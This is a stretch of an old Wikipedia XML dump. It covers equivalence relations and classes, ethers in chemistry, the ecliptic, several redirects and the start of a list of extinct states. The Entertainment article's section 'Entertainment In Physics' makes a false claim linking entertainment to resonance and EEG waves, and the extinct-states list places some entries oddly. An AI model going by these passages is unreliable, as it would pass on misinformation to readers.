Since every equivalence relation can be identified with a partition and vice versa,  the number of equivalence relations on a set ''X'' of ''n'' elements is given by the ''n''th [[Bell numbers|Bell number]], ''B&lt;sub&gt;n&lt;/sub&gt;''.

If an equivalence relation ~ on ''X'' is given, then the set of all its equivalence classes is the '''quotient set''' of ''X'' by ~ and is denoted by ''X''/~.

== Generating equivalence relations ==

If two equivalence relations over the set ''X'' are given, then their intersection (viewed as subsets of ''X''&amp;times;''X'') is also an equivalence relation. This allows for a convenient way of defining equivalence relations: given any binary relation ''R'' on ''X'', the equivalence relation ''generated by R'' is the smallest equivalence relation containing ''R''.

Concretely, the equivalence relation ~ generated by ''R'' can be described as follows: ''a'' ~ ''b'' if and only if there exist elements ''x''&lt;sub&gt;1&lt;/sub&gt;, ''x''&lt;sub&gt;2&lt;/sub&gt;,...,''x''&lt;sub&gt;''n''&lt;/sub&gt; in ''X'' such that ''x''&lt;sub&gt;1&lt;/sub&gt; = ''a'', ''x''&lt;sub&gt;''n''&lt;/sub&gt; = ''b'' and such that (''x''&lt;sub&gt;''i''&lt;/sub&gt; , ''x''&lt;sub&gt;''i'' +1&lt;/sub&gt;) or (''x''&lt;sub&gt;''i'' +1&lt;/sub&gt;, ''x''&lt;sub&gt;''i''&lt;/sub&gt;) is in ''R'' for every ''i'' = 1,...,''n'' -1.

Note that the resulting equivalence relation can often be trivial! For instance, the equivalence relation ~ generated by the binary relation ''&amp;le;'' has exactly one equivalence class: ''x''~''y'' for all ''x'' and ''y''. More generally, the equivalence relation will always be trivial when generated on a relation R having the &quot;antisymmetric&quot; property that, given any ''x'' and ''y'', either ''x'' R ''y'' or ''y'' R ''x'' must be true.

In [[topology]], if ''X'' is a [[topological space]] and ~ is an equivalence relation on ''X'', then we can turn the quotient set ''X''/~ into a topological space in a natural manner. See [[quotient space]] for the details.

One often generates equivalence relations to quickly construct new spaces by &quot;gluing things together&quot;. Consider for instance the square ''X'' = [0,1]x[0,1] and the equivalence relation on ''X'' generated by the requirements (''a'',0) ~ (''a'',1) for all ''a'' in [0,1] and (0,''b'') ~ (1,''b'') for all ''b'' in [0,1]. Then the quotient space ''X''/~ can be naturally identified with a [[torus]]: take a square piece of paper, bend it to glue together the upper and lower edge, then bend the resulting cylinder to glue together the two mouths.

==Common notions in Euclid's ''Elements''==

The first person who introduced the idea of equivalence relations was [[Euclid]] in his book ''[[Euclid's Elements|The Elements]]'', under the heading of &quot;Common Notions&quot;.

Common Notion 1. Things which equal the same thing also equal one another.

Nowadays, a [[binary relation]] is called Euclidean if it satisfies this property.

Unfortunately, he did not mention symmetry or reflexivity. But this suggests an alternative formulation: An equivalence relation is a relation which is Euclidean, symmetric and reflexive.

==See also==

* [[Equivalence]]

===Equivalent concepts===

* [[Partition of a set]]

===Related concepts===

* [[Directed set]]
* [[Partial equivalence relation]]
* [[Partially ordered set|Partial order]]
* [[Total order]]

==External links==
*[http://www.cut-the-knot.org/blue/equi.shtml Equivalence Relations]

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  </page>
  <page>
    <title>Equivalence class</title>
    <id>9260</id>
    <revision>
      <id>41515441</id>
      <timestamp>2006-02-27T21:57:11Z</timestamp>
      <contributor>
        <username>Lethe</username>
        <id>42062</id>
      </contributor>
      <comment>/* Properties */ well defined is the more common name that I know</comment>
      <text xml:space="preserve">In [[mathematics]], given a [[set]] ''X'' and an [[equivalence relation]] ~ on ''X'', the '''equivalence class''' of an element ''a'' in ''X'' is the [[subset]] of all elements in ''X'' which are equivalent to ''a'':
:[a] = { ''x'' &amp;isin; ''X'' | ''x'' ~ ''a'' }

The notion of equivalence classes is useful for constructing sets out of already constructed ones. The set of all equivalence classes in ''X'' given an equivalence relation ~ is usually denoted as ''X'' / ~ and called the '''quotient set''' of ''X'' by ~.   This operation can be thought of (very informally indeed) as the act of &quot;dividing&quot; the input set by the equivalence relation, hence both the name &quot;quotient&quot;, and the notation, which are both reminiscent of division.

In cases where ''X'' has some additional structure preserved under ~, the quotient becomes an object of the same type in a natural fashion; the [[map (mathematics)|map]] that sends ''a'' to [''a''] is then an [[epimorphism]]. See [[congruence relation]].

== Examples ==
* If ''X'' is the set of all cars, and ~ is the equivalence relation &quot;has the same color as&quot;, then one particular equivalence class consists of all green cars. ''X'' / ~ could be naturally identified with the set of all car colors.
* Consider the &quot;[[modular arithmetic|modulo]] 2&quot; equivalence relation on the set of [[integer]]s: ''x''~''y'' if and only if ''x''-''y'' is [[even and odd numbers|even]]. This relation gives rise to exactly two equivalence classes: [0] consisting of all even numbers, and [1] consisting of all odd numbers.
* The [[rational number]]s can be constructed as the set of equivalence classes of ordered pairs of integers (''a'',''b'') with ''b'' not zero, where the equivalence relation is defined by
:: (''a'',''b'') ~ (''c'',''d'') if and only if ''ad'' = ''bc''.
:Here the equivalence class of the pair (''a'',''b'') can be identified with rational number ''a''/''b''.
* Any [[function (mathematics)|function]] ''f'' : ''X'' &amp;rarr; ''Y'' defines an equivalence relation on ''X'' by ''x'' ~ ''y'' [[iff]] ''f''(''x'') = ''f''(''y''). The equivalence class of ''x'' is the set of all elements in ''X'' which get mapped to ''f''(''x''), i.e. the class [''x''] is the [[inverse image]] of ''f''(''x''). This equivalence relation is known as the [[kernel of a function|kernel]] of ''f''.
* Given a [[group (mathematics)|group]] ''G'' and a [[subgroup]] ''H'', we can define an equivalence relation on ''G'' by ''x'' ~ ''y'' iff ''xy''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; &amp;isin; ''H''. The equivalence classes are known as right [[coset]]s of ''H'' in ''G''; one of them is ''H'' itself. They all have the same number of elements (or [[cardinality]] in the case of an [[infinite]] ''H''). If ''H'' is a [[normal subgroup]], then the set of all cosets is itself a group in a natural way.
* Every group can be partitioned into equivalence classes called [[conjugacy class]]es.
* The [[homotopy]] class of a [[continuous function|continuous]] map ''f'' is the equivalence class of all maps homotopic to ''f''.
* In [[natural language processing]], an equivalence class is a set of all references to a single person, place, thing, or event, either real or conceptual. For example, in the sentence &quot;GE shareholders will vote for a successor to the company's outgoing CEO Jack Welch&quot;, ''GE'' and ''the company'' are synonymous, and thus constitute one equivalence class. There are separate equivalence classes for ''GE shareholders'' and ''Jack Welch''.

== Properties ==

Because of the properties of an equivalence relation it holds that ''a'' is in [''a''] and that any two equivalence classes are either equal or [[disjoint sets|disjoint]]. It follows that the set of all equivalence classes of ''X'' forms a [[partition of a set|partition]] of ''X'': every element of ''X'' belongs to one and only one equivalence class. Conversely every partition of ''X'' also defines an equivalence relation over ''X''.

It also follows from the properties of an equivalence relation that
:: ''a'' ~ ''b'' if and only if [''a''] = [''b''].

If ~ is an equivalence relation on ''X'', and ''P''(''x'') is a property of elements of ''x'', such that whenever ''x'' ~ ''y'', ''P''(''x'') is true if ''P''(''y'') is true, then the property ''P'' is said to be [[well-defined]] or a ''class invariant'' under the relation ~. A frequent particular case occurs when ''f'' is a function from ''X'' to another set ''Y''; if ''x'' ~ ''y'' implies ''f''(''x'') = ''f''(''y'') then ''f'' is said to be a class invariant under ~, or simply invariant under ~. This occurs, e.g. in the character theory of finite groups. The latter case with the function ''f'' can be expressed by a commutative triangle. See also [[invariant (mathematics)|invariant]].

==See also==
*first [[isomorphism theorem]]
*[[up to]]

----
In [[music]] see [[octave equivalency]], [[transpositional equivalency]], [[inversional equivalency]], [[enharmonic equivalency]]. [[Musical set theory]] takes advantage of all of these, to varying degrees, while other theories take more or less advantage of a selection.

[[Category:Set theory]]

[[de:Äquivalenzklasse]]
[[it:Classe di equivalenza]]
[[es:Clase de equivalencia]]
[[pl:Klasa abstrakcji]]
[[zh:等价类]]</text>
    </revision>
  </page>
  <page>
    <title>Electronic Music</title>
    <id>9261</id>
    <revision>
      <id>15907164</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Electronic music]]
</text>
    </revision>
  </page>
  <page>
    <title>Entertainment</title>
    <id>9262</id>
    <revision>
      <id>41359505</id>
      <timestamp>2006-02-26T21:11:13Z</timestamp>
      <contributor>
        <username>Enzogram</username>
        <id>995555</id>
      </contributor>
      <text xml:space="preserve">{{merge|Recreation}}
'''Entertainment''' is an [[amusement]] or diversion intended to hold the attention of an audience or its participants. The industry that provides entertainment is called the [[entertainment industry]]. Entertainment has also been seen in physics as a concept of resonance.
[[Image:stilt.walker.swindon.arp.500pix.jpg|thumb|right|200px|A stilt-walker entertaining shoppers at a shopping centre in [[Swindon]], [[England]]]] 

==Entertainment In Physics==
Entertainment is much like [[Resonance]]. Entertainment is a process in where the frequency of one system is combined with the frequency of another system, to generate a single wave. This can been seen in [[electroencephalogram]] (EEG) waves, where a combinations of seperate frequencies put together form a single sinusoidal wave. This can be an instance of two objects with multiple frequencies, achieving the same frequency.

==Examples of Entertainment==
More specifically, the participatory activities listed below are a form of [[recreation]].

*[[Animation]]
*[[Betting]]
*[[Chat]]
*[[Circus (performing art)|Circus]]
*[[Dance]]
*[[Film]]
*[[Drinking]]
*[[Game]]
*[[Humor]]
*[[Magic (illusion)|Magic]]
*[[Mass media]]
**[[film|movies/film/cinema]]
**[[television]]
**[[radio]]
**[[new media]]
*[[Museums]]
*[[Music]]
*[[Revue]]
*[[Show business]]
*[[Sex business]]
*[[Shooting]]
*[[Sports]]
*[[Theatre]]

==See also==
* [[Entertainment basic topics]]
* [[Pastime index]]

== External links ==
*{{dmoz|Arts/Entertainment/ | Entertainment}}

[[Category:Entertainment| ]]

[[cy:Adloniant]]
[[he:בידור]]
[[fr:Divertissement]]
[[tl:Libangan]]
[[sr:Забава]]</text>
    </revision>
  </page>
  <page>
    <title>Ether</title>
    <id>9263</id>
    <revision>
      <id>40750873</id>
      <timestamp>2006-02-22T19:58:51Z</timestamp>
      <contributor>
        <ip>12.166.7.4</ip>
      </contributor>
      <text xml:space="preserve">: ''This article is about '''ether''' as a general class of chemical compounds. For other meanings, see [[Ether (disambiguation)]]''

'''Ether''' is the general name for a class of [[chemical compound]]s which contain an ether [[functional group|group]] &amp;mdash; an [[oxygen]] [[atom]] connected to two (substituted) [[alkyl]] groups. A typical example is the [[solvent]] and [[anesthetic]] [[diethyl ether]] (ethoxyethane, CH&lt;sub&gt;3&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt;-O-CH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;3&lt;/sub&gt;).

== Similar structures ==

[[Image:Structures not ethers.png|frame|Not all compounds of the formula R-O-R are ethers]]

Ethers are not to be confused with the following classes of compounds with the same general structure R-O-R.
* [[Aromatic]] compounds like [[furan]] where the oxygen is part of the aromatic system.
* Compounds  where one of the carbon atoms next to the oxygen is connected to oxygen, [[nitrogen]], or [[sulfur]]:
** [[Ester]]s R-C(=O)-O-R  
** [[Acetal]]s R-CH(-O-R)-O-R 
** [[Aminal]]s R-CH(-NH-R)-O-R 
** [[Anhydride]]s R-C(=O)-O-C(=O)-R

== Primary, secondary, and tertiary ethers ==

The terms ''&quot;primary ether&quot;'', ''&quot;secondary ether&quot;'', and ''&quot;tertiary ether&quot;'' are occasionally used and refer to the carbon atom next to the ether oxygen. In a ''primary ether'' this carbon is connected to only one other carbon as in [[diethyl ether]] CH&lt;sub&gt;3&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt;-O-CH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;3&lt;/sub&gt;. An example of a ''secondary ether'' is [[diisopropyl ether]] (CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;CH-O-CH(CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt; and that of a ''tertiary ether'' is [[di-tert-butyl ether]] (CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;C-O-C(CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;.

&lt;center&gt;
[[Image:Dimethylether chemical structure.png|40px|Dimethyl ether]]
[[Image:Diethylether chemical structure.png|72px|A primary ether (diethyl ether)]]
[[Image:Diisopropyl ether chemical structure.png|71px|A secondary ether (diisopropyl ether)]]
[[Image:Di-tert-butyl ether chemical structure.png|72px|A tertiary ether (di-''tert''-butyl ether)]]
&lt;br&gt;
Dimethyl ether, a ''primary'', a ''secondary'', and a ''tertiary ether''.
&lt;/center&gt;

== Polyethers ==

Polyethers are compounds with more than one ether group. While the term generally refers to [[polymer]]s like [[polyethylene glycol]] and [[polypropylene glycol]], low molecular compounds such as the [[crown ether]]s may sometimes be included.

== Chemical reactions ==

=== Synthesis ===  

# [[Alcohol|R-OH]] + R-OH &amp;rarr; R-O-R + [[Water_(molecule)|H&lt;sub&gt;2&lt;/sub&gt;O]]
#: This direct reaction requires drastic conditions (heat and an acid catalyst) and is usually not applicable. Such conditions can destroy the delicate structures of some [[functional group]]s. There exist several milder methods to produce ethers.
# [[Alkoxide|R-O&lt;sup&gt;-&lt;/sup&gt;]] + [[Alkyl halide|R-X]] &amp;rarr; R-O-R + [[Halide|X&lt;sup&gt;-&lt;/sup&gt;]]
#: This is called [[Williamson ether synthesis]]. It involves treatment of a parent [[alcohol]] with a strong [[Base_(chemistry)|base]] to form the alkoxide [[anion]] followed by addition of an appropriate aliphatic compound bearing a suitable [[leaving group]] (R-X). Suitable leaving groups (X) include [[iodide]], [[bromide]], or [[sulfonate]]s. This method does not work if R is aromatic like in [[bromobenzene]]. Likewise, this method only gives the best yields for primary carbons, as secondary carbons will undergo E2 elimination on exposure to the basic alkoxide anion used in the reaction. Aryl ethers can be prepared in the [[Ullmann condensation]].
# [[alkene|R&lt;sub&gt;2&lt;/sub&gt;C=CR&lt;sub&gt;2&lt;/sub&gt;]] + R-OH  &amp;rarr; R&lt;sub&gt;2&lt;/sub&gt;CH-C(-O-R)-R&lt;sub&gt;2&lt;/sub&gt; (under [[acid]] [[catalysis]])

=== Reactions ===

Ethers are of very low chemical [[reactivity]]. They are [[Hydrolysis|hydrolyzed]] only under drastic conditions like heating with [[boron tribromide]] or boiling in [[hydrobromic acid]]. Lower mineral acids containing a halogen, such as [[hydrochloric acid]] will cleave ethers, but very slowly. Hydrobromic acid and [[hydroiodic acid]] are the only two that do so at an appreciable rate

Ethers can act as [[Lewis base]]s. For instance, diethyl ether forms a complex with [[boron]] compounds, such as [[boron trifluoride]] diethyl etherate .F&lt;sub&gt;3&lt;/sub&gt;B:O(CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;

[[Epoxide]]s, or cyclic ethers in three-membered rings, are highly susceptible to nucleophilic attack and are reactive in this fashion.

[[Image:Diethylether peroxide chemical structure.png|frame|Structure of the polymeric diethyl ether peroxide]]

Primary and secondary ethers with a CH group next to the ether oxygen easily form highly [[Explosive material|explosive]] [[organic peroxide]]s (e.g. [[diethyl ether peroxide]]) in the presence of oxygen, light, and metal and [[aldehyde]] impurities. For this reason ethers like diethyl ether and [[Tetrahydrofuran|THF]] are usually avoided as [[solvent]]s in industrial processes.

== Physical properties ==

Ether molecules cannot form [[hydrogen bond]]s among each other, resulting in a relatively low [[boiling point]] comparable to that of the analogous [[alkane]]s.  Ethers are more [[hydrophobic]] than esters or [[amide]]s of comparable structure.

== Nomenclature ==

In the [[IUPAC nomenclature]] system, ethers are named using the general formula ''&quot;alkoxyalkane&quot;'', for example CH&lt;sub&gt;3&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt;-O-CH&lt;sub&gt;3&lt;/sub&gt; is methoxyethane. If the ether is part of a more complex molecule, it is described as an alkoxy substituent, so -OCH&lt;sub&gt;3&lt;/sub&gt; would be considered a ''&quot;[[methoxy]]-&quot;'' group. The nomenclature of describing the two alkyl groups and appending ''&quot;ether&quot;'', e.g. ''&quot;ethyl methyl ether&quot;'' in the example above, is a [[trivial name|trivial usage]].

== Important ethers ==

* [[Ethylene oxide]], the smallest cyclic ether: [[Image:Ethylene oxide chemical structure.png|28px|Chemical structure of ethylene oxide]]
* [[Dimethyl ether]], an [[aerosol spray#Propellant|aerosol spray propellant]]: [[Image:Dimethylether chemical structure.png|40px|Chemical structure of dimethyl ether]]
* [[Diethyl ether]], a common low boiling solvent: [[Image:Diethylether chemical structure.png|72px|Chemical structure of diethyl ether]]  
* [[Dimethoxyethane]], a high boiling solvent: [[Image:Dimethoxyethane chemical structure.png|86px|Chemical structure of dimethoxyethane]]  
* [[Dioxane]], a cyclic ether and high boiling solvent: [[Image:Dioxane chemical structure.png|41px|Chemical structure of dioxane]] 
* [[Tetrahydrofuran|THF]], a cyclic ether, one of the most polar simple ethers that is used as a solvent: [[Image:THF chemical structure.png|37px|Chemical structure of THF]] 
* [[Anisole]] (methoxybenzene), a major constituent of the [[essential oil]] of [[anise]] seed: [[Image:Anisole chemical structure.png|37px|Chemical structure of anisole]] 
* [[Crown ether]]s, cyclic polyethers that are used as [[phase transfer catalyst]]s: [[Image:18-crown-6 chemical structure.png|55px|Chemical structure of 18-crown-6]]
* [[Polyethylene glycol]], a linear polyether, e.g. used in [[cosmetics]]: [[Image:Polyethylene glycol chemical structure.png|86px|Chemical structure of polyethylene glycol]]

== See also ==

* [[Functional group]]
* [[Methoxy]]
* [[Petroleum ether]], not an ether but a low boiling alkane mixture.
* [[Thioether]], analogs of ethers with the oxygen replaced by sulfur.

== External links ==

* [http://www.ilpi.com/msds/ref/ether.html ILPI] page about ethers.

[[Category:Ethers]]

[[bg:Етер]]
[[de:Ether]]
[[es:Éter (química)]]
[[eo:Etero]]
[[fr:Éther (chimie)]]
[[ko:에터]]
[[it:Eteri]]
[[he:אתר (כימיה)]]
[[hu:Éter (kémia)]]
[[nl:Ether (chemie)]]
[[ja:エーテル (化学)]]
[[no:Eter]]
[[nn:Eterar]]
[[pl:Eter (chemia)]]
[[pt:Éter]]
[[ru:Простые эфиры]]
[[sr:Етар (хемија)]]
[[sv:Eter (kemikalie)]]
[[vi:Ete]]
[[zh:醚]]</text>
    </revision>
  </page>
  <page>
    <title>Ecliptic</title>
    <id>9264</id>
    <revision>
      <id>42122757</id>
      <timestamp>2006-03-03T23:44:00Z</timestamp>
      <contributor>
        <ip>206.124.131.3</ip>
      </contributor>
      <comment>+ xlinks with diagrams [[User:Twang|Twang]]</comment>
      <text xml:space="preserve">[[image:ecliptic.arp.750pix.jpg|thumb|300px|The plane of the ecliptic is well seen in this picture from the [[1994]] lunar prospecting [[Clementine mission|Clementine]] [[spacecraft]]. Clementine's camera reveals (from right to left) the [[Moon]] lit by [[Earthshine]], the [[Sun]]'s glare rising over the Moon's dark [[limb]], and the planets [[Saturn (planet)|Saturn]], [[Mars (planet)|Mars]] and [[Mercury (planet)|Mercury]] (the three dots at lower left).]]

{{Expandarticle}}
{{expert}}

The '''ecliptic plane''' is the geometric [[plane (mathematics)|plane]] that contains the [[orbit]] of the [[Earth]]. The '''ecliptic''' is the intersection of the ecliptic plane and the [[celestial sphere]]. A more intuitive definition would be to say that the ecliptic is the apparent path of the Sun during a year as seen from Earth. The orbits of most [[planet]]s in the [[Solar System]] lie very close to it. Seen from the Earth, this is a bisecting [[great circle]], superimposed upon the [[celestial sphere]], which contains the different [[point]]s of the [[Sun]]'s path, relative to  the background [[star]]s, over the course of a [[year]]. The [[zodiac]] also lies along the '''ecliptic plane'''. The ecliptic plane is [[inclination|inclined]] by ~23.5°, with respect to the [[celestial equator]]; a result of [[axial tilt]]. The [[Orbital plane (astronomy)|orbital plane]] of the [[Moon]] is inclined by ~5°, with respect to the ecliptic.

Because there are ~365.25 [[day]]s in a [[year]] and 360 [[degree (angle)|degree]]s in a [[circle]], the Sun appears to move along the ecliptic at a rate of about 1° per day. This motion is from [[Cardinal directions|west]] to [[Cardinal directions|east]], in opposition to the apparent east-west movement of the [[celestial sphere]].

The ecliptic and the celestial equator intersect at two points, directly opposite one another. These are the [[equinox]]es and when the Sun appears at these points, day and night are each about 12 hours long at all locations on Earth. The normals to the ecliptic plane are the ecliptic poles, which are named North and South after the closest terrestrial pole, about 23.5° away.

The point on the ecliptic that is farthest north of the celestial equator is called the [[summer solstice]] in the northern hemisphere, and the [[winter solstice]] in the southern hemisphere. When the Sun is farthest south of the celestial equator the reverse is true. The Sun's apparent annual motion along the ecliptic, a result of the Earth's orbital motion and [[inclination]], is illustrated in the following figure. The abscissa (horizontal axis) is the [[right ascension]] of the Sun and the ordinate (vertical axis) its [[declination]]. The celestial reference frame across which the Sun moves is defined by a background of fixed stars, of which some bright ones are shown.

&lt;!-- Unsourced image removed: [[image:solar_year.gif|The annual motion of the Sun along the ecliptic]] --&gt;

If the [[Moon]] crosses the ecliptic (such points of crossing are [[lunar node|node]]s) during [[new moon]] or [[full moon]], an [[eclipse]] will occur.

== External links ==
* [http://www-spof.gsfc.nasa.gov/stargaze/Secliptc.htm NASA: &quot;The Path of the Sun, the Ecliptic&quot;]
* [http://hyperphysics.phy-astr.gsu.edu/hbase/eclip.html Orbits and the Ecliptic Plane]

&lt;!-- [[Category:Astronomy]] too general --&gt;
[[Category:Spherical astronomy]]
[[Category:Astrodynamics]]
[[Category:Celestial coordinate system]]
[[Category:Solar System]]

[[bg:Еклиптика]]
[[ca:Eclíptica]]
[[cs:Ekliptika]]
[[da:Ekliptika]]
[[de:Ekliptik]]
[[et:Ekliptika]]
[[es:Eclíptica]]
[[fr:Écliptique]]
[[gl:Eclíptica]]
[[ko:황도]]
[[hr:Ekliptika]]
[[io:Ekliptiko]]
[[it:Eclittica]]
[[he:מישור המילקה]]
[[nl:Ecliptica]]
[[ja:黄道]]
[[pl:Ekliptyka]]
[[pt:Eclíptica]]
[[ro:Ecliptică]]
[[sk:Ekliptika]]
[[th:สุริยวิถี]]
[[vi:Mặt phẳng hoàng đạo]]
[[tr:Tutulum]]
[[uk:Екліптика]]
[[zh:黄道]]</text>
    </revision>
  </page>
  <page>
    <title>Extint countries</title>
    <id>9265</id>
    <revision>
      <id>15907168</id>
      <timestamp>2004-03-06T15:23:20Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[List of extinct states]]</text>
    </revision>
  </page>
  <page>
    <title>Extinct countries</title>
    <id>9266</id>
    <revision>
      <id>15907169</id>
      <timestamp>2004-03-06T15:23:36Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[List of extinct states]]</text>
    </revision>
  </page>
  <page>
    <title>Extinct political countries, empires, etc.</title>
    <id>9267</id>
    <revision>
      <id>15907170</id>
      <timestamp>2004-03-06T15:23:54Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[List of extinct states]]</text>
    </revision>
  </page>
  <page>
    <title>List of extinct states</title>
    <id>9269</id>
    <revision>
      <id>41542879</id>
      <timestamp>2006-02-28T01:23:29Z</timestamp>
      <contributor>
        <username>Fishhead64</username>
        <id>604902</id>
      </contributor>
      <comment>/* Former colonies, possessions, protectorates and territories */ fixed links</comment>
      <text xml:space="preserve">{{merge|List of former countries}}

{{cleanup-date|August 2005}}
This page attempts to list the many '''extinct [[state]]s''', [[country|countries]], [[nation]]s, lands, or [[territory|territories]], grouped into a number of categories.
{{TOCright}}
==Ancient and medieval states==
States and realms that disappeared in [[ancient history]].

===Ancient Europe, North Africa and the Near East===
*[[Adiabene]]
*[[Akkad]]
*[[Aksu]]
*[[Assyria]]
*[[Axumite Kingdom]]
*[[Babylonia]]
*[[Byzantine Empire]]
*[[Carthage]]
*[[Chaldea]]
*[[Dacia]]
*[[Etruria]]
*[[History of Egypt|Egyptian Empire]]
*[[Hellenic civilization|Hellenic]] city-states ([[Athens]], [[Sparta]], [[Syracuse, Italy|Syracuse]], etc) and their allied cities/colonies/territories.
*[[Hellenistic]] Empires ([[Ptolemaic]], [[Seleucid]], [[Antigonid]],etc.)
*[[Hittites]]
*[[Hurrians]]
*[[Ancient Illyria|Illyria]]
*[[Kingdom of Fez]]
*[[Kingdom of Israel|Israel]]
*[[Judaea]]
*[[Kingdom of Judah|Judah]]
*[[Kommagene]]
*[[Kush]]
*[[Lydia]] (Mæonia)
*[[Macedon]]
*[[Medes|Media]]
*[[Nubia]]
*[[Odrysian]] kingdom of [[Thrace]]
*[[Paionia]]
*[[Parthia]]
*[[Persian Empire]] (which is not extinct but is reshaped in the form of [[Iran|Persia]]/[[Iran]])
*[[Pontus]]
*[[Ancient Rome|Rome]]
*[[Republic of two Rivieres]]
*[[Scythia]]
*[[Sumer]]
*[[Tartessos]]
*[[Urartu]]
*[[Yamkhad]]

===South Asia===
*[[Indo-Parthian Kingdom]]
*[[Indus Valley Civilisation]] ([[Harappa]], [[Mohenjo Daro]] in present [[Pakistan]]) [[South Asia]]
*[[Bactria]]
*[[Kushan Empire]]
*[[Tu'i Tonga]]

===China and South East Asia===
A number of small states existed in what is now [[China]] in the [[Spring and Autumn Period]] and [[Warring States Period]]. These states were subsumed by either the [[Qin (state)|Qin]] or those states that were defeated by Qin. The culmination of the Qin conquests was the creation of the first unified Chinese state in [[221 BC]]. These extinct states were:

*[[Chu (state)|Chu]]
*[[Cai (state)|Cai]]
*[[Cao (state)|Cao]]
*[[Chen (state)|Chen]]
*[[Lu (state)|Lu]]
*[[Song (state)|Song]]
*[[Yue (state)|Yue]]
*[[Wu (state)|Wu]]
*[[Jin (state)|Jin]]
*[[Han (state)|Han]]
*[[Zheng (state)|Zheng]]
*[[Wei (state)|Wei]]
*[[Zhao (state)|Zhao]]
*[[Qi (state)|Qi]]
*[[Yan (state)|Yan]]

China was to remain unified until the period of the [[Three Kingdoms]], which came about after the fall of the [[Han Dynasty]] in [[190]]. These states were eventually reunified by the [[Jin Dynasty]] in [[280]]. These were the [[Kingdom of Shu]], the [[Kingdom of Wei]] and the [[Kingdom of Wu]]. China did not remain unified for long under the Jin dynasty and the period known as the [[Sixteen Kingdoms]] ([[304]]-[[439]]) saw a number of short-lived states emerge in northern China, after the retreat of the [[Jin Dynasty]] to southern China. These states were:

*[[Cheng Han]]
*[[Former Liang]]
*[[Former Qin]]
*[[Former Yan]]
*[[Han Zhao]]
*[[Later Liang]]
*[[Later Qin]]
*[[Later Yan]]
*[[Later Zhao]]
*[[Northern Liang]]
*[[Northern Yan]]
*[[Southern Liang]]
*[[Southern Yan]]
*[[Western Liang]]
*[[Western Qin]]
*[[Xia]]

The early Chinese states had an influence on the surrounding region. A number of now-extinct states formed under Chinese influence along the [[Silk Road]] including:

*[[Karasahr]]
*[[Kingdom of Khotan|Khotan]]
*[[Kucha]]
*[[Yarkand]]

====Korea====
The early history of Korea was as complex as that of neighbouring China. A number of Korean states existed on the peninsula and reached up into [[Manchuria]] before the formation of the modern state of Korea. These included:

*[[Baekje]]
*[[Fuyu]]
*[[Gojoseon]]
*[[Goryeo]]
*[[Jin]]
*[[Silla]]

===Pre-Columbian Americas===
[[The Americas]] have historically been home to a number of indigenous states, civilizations and societies of great complexity. Of those indigenous states which were still in existence by the time of the first permanent [[European colonization of the Americas|European colonizations]] from the late [[fifteenth century]] onwards were soon substantively destroyed and/or absorbed. The below list includes both those which had ceased to exist before this European arrival, and those which ceased to independently function as a result of this impact. Note also that the definition of &quot;state&quot; or &quot;civilization&quot; in this context can be problematic or contested.

*[[Ancient Pueblo Peoples]]
*[[Aztec|Aztec Empire]]
*[[Cahokia]]
*[[Carib]]
*[[Chachapoyas culture|Chachapoya]]
*[[Chimu]]
*[[Ciboney]]
*[[Huari]] (Wari)
*[[Maya civilization]]
*[[Moche]] (Mochita)
*[[Nazca culture|Nazca]] (Ica-Nazca)
*[[Olmec]]
*[[Selk’nam]]
*[[Taino]]
*[[Timucuan]]
*[[Teotihuacan Empire]]
*[[Tlaxcala]]
*[[Toltec]]s
*[[Tahuantinsuyu]] (the Inca Empire)

In addition, there were a wide variety of [[Pre-Inca cultures|pre-Inca cultures]], few of which developed into organised states.

===Medieval Europe, North Africa and the Near East===
====British Isles====
Following the collapse of the Roman Empire there followed a period where the Romano-British political entity fragmented caused mainly by the Celtic system of dividing a realm between the sons of a king on his death. This situation was made worse after c.449 when [[Jutish]] and later [[Anglo-Saxon]] began colonising the eastern and southern seaboards and driving inland. Eventually the Romano-Britons (now known to the Anglo-Saxons as &quot;[[Welsh]]&quot;) were assimilated or driven into the highlands of [[Cambria]] (Wales) or [[Caledonia]] (Scotland). Wales and Scotland will be considered seperately to what once existed in England.

'''Romano-British and Welsh kingdoms in England'''

*[[Britannia Maxima Caesariensis]], an entity with very limited powers that may have existed in the south between c.410-425AD and centred on Lundinium.
*[[Britannia Secunda]], an entity in the north of Great Britain governed from York and divided after the death of [[Coel Hen]] in c.420.
*[[Britannia Prima]], an entity in the west which would have quickly splintered following the Roman withdrawal.
*[[Valentia]], an entity between [[Hadrians Wall]] and the [[Antonine Wall]] during the same period, probably connected to the warlord [[Cunedda]].
&lt;br&gt;

*[[Dumnonia]], a realm named after the [[Dumnonii]] in the south west. It later became known as ''Cerniw'' or [[Cornwall]].
*[[Bryneich]], a kingdom in the modern day north east of England.
*[[Ebrauc]], a small kingdom centred on York.
*[[Defwr]], a small kingdom in modern east Yorkshire.
*[[Astolat]], a possible kingdom in the south.
*[[Ceint]], a kingdom named after the [[Cantiaci]] in what became [[Kent]].
*Caer Llundein, a kingdom based around [[London]].
*Caer Celemion, a kingdom centred on [[Calleva Atrebatorum]].
*Caer Guintguic, a kingdom centred around [[Winchester]].
*Durotrig a possible kingdom in what is now modern [[Dorset]].
*Caer Gloui, a kingdom centred around the city of [[Gloucester]].
